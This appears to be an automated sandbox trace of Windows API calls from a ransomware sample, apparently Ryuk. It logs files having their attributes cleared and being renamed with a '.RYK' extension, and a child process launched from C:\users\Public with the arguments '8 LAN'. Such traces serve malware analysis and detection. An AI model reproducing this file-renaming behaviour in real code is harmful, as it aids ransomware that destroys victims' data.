	[0284.052] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4000
	os_tid = 0x3ae0

	[0284.053] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0284.053] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.053] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.053] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4001
	os_tid = 0x3b54

	[0284.054] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl", dwFileAttributes=0x80) returned 0
	[0284.054] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.054] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.054] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4002
	os_tid = 0x4238

	[0284.055] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0284.055] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.056] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.056] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4003
	os_tid = 0x3ed0

	[0284.057] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl", dwFileAttributes=0x80) returned 0
	[0284.057] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.057] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.057] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4004
	os_tid = 0x964

	[0284.369] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl", dwFileAttributes=0x80) returned 0
	[0284.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.369] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4005
	os_tid = 0x4404


Thread:
	id = 4020
	os_tid = 0x4440

	[0284.370] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl", dwFileAttributes=0x80) returned 0
	[0284.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.371] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4021
	os_tid = 0x4444

	[0284.372] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl", dwFileAttributes=0x80) returned 0
	[0284.372] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.372] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.372] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4022
	os_tid = 0x4448

	[0284.373] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl", dwFileAttributes=0x80) returned 0
	[0284.373] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.373] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4023
	os_tid = 0x444c

	[0284.374] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl", dwFileAttributes=0x80) returned 0
	[0284.374] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.375] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.ryk"), dwFlags=0x8) returned 0

Process:
	id = "3"
	image_name = "fmrkmisrvlan.exe"
	filename = "c:\\users\\public\\fmrkmisrvlan.exe"
	page_root = "0x33874000"
	os_pid = "0x944"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\users\\Public\\fMRKmiSrvlan.exe\" 8 LAN"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 9
	os_tid = 0x954

	[0115.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f818 | out: lpSystemTimeAsFileTime=0x18f818*(dwLowDateTime=0x29c780e0, dwHighDateTime=0x1d5cdef)) 
	[0115.124] GetCurrentThreadId () returned 0x954
	[0115.124] GetCurrentProcessId () returned 0x944
	[0115.124] QueryPerformanceCounter (in: lpPerformanceCount=0x18f820 | out: lpPerformanceCount=0x18f820*=25690245607) returned 1
	[0115.343] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.344] GetLastError () returned 0x57
	[0115.344] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7800000
	[0115.349] GetProcAddress (hModule=0x7fef7800000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0115.350] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.350] GetLastError () returned 0x57
	[0115.350] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0115.354] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.354] GetLastError () returned 0x57
	[0115.354] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0115.354] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0115.354] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0115.355] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.355] GetLastError () returned 0x57
	[0115.355] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7800000
	[0115.355] GetProcAddress (hModule=0x7fef7800000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0115.365] GetProcessHeap () returned 0x230000
	[0115.365] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.365] GetLastError () returned 0x57
	[0115.365] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0115.366] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.366] GetLastError () returned 0x57
	[0115.366] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0115.366] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0115.366] GetLastError () returned 0x57
	[0115.367] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520
	[0115.367] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x247850
	[0115.367] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0115.367] SetLastError (dwErrCode=0x57) 
	[0115.368] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1000) returned 0x247c20
	[0115.374] GetStartupInfoW (in: lpStartupInfo=0x18f6f0 | out: lpStartupInfo=0x18f6f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\users\\Public\\fMRKmiSrvlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) 
	[0115.374] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0115.374] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0115.374] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0115.374] GetCommandLineA () returned="\"C:\\users\\Public\\fMRKmiSrvlan.exe\" 8 LAN"
	[0115.375] GetCommandLineW () returned="\"C:\\users\\Public\\fMRKmiSrvlan.exe\" 8 LAN"
	[0115.375] GetLastError () returned 0x57
	[0115.375] SetLastError (dwErrCode=0x57) 
	[0115.375] GetLastError () returned 0x57
	[0115.375] SetLastError (dwErrCode=0x57) 
	[0115.375] GetACP () returned 0x4e4
	[0115.375] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x228) returned 0x2474b0
	[0115.376] IsValidCodePage (CodePage=0x4e4) returned 1
	[0115.376] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f6c0 | out: lpCPInfo=0x18f6c0) returned 1
	[0115.376] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ef60 | out: lpCPInfo=0x18ef60) returned 1
	[0115.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef80, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
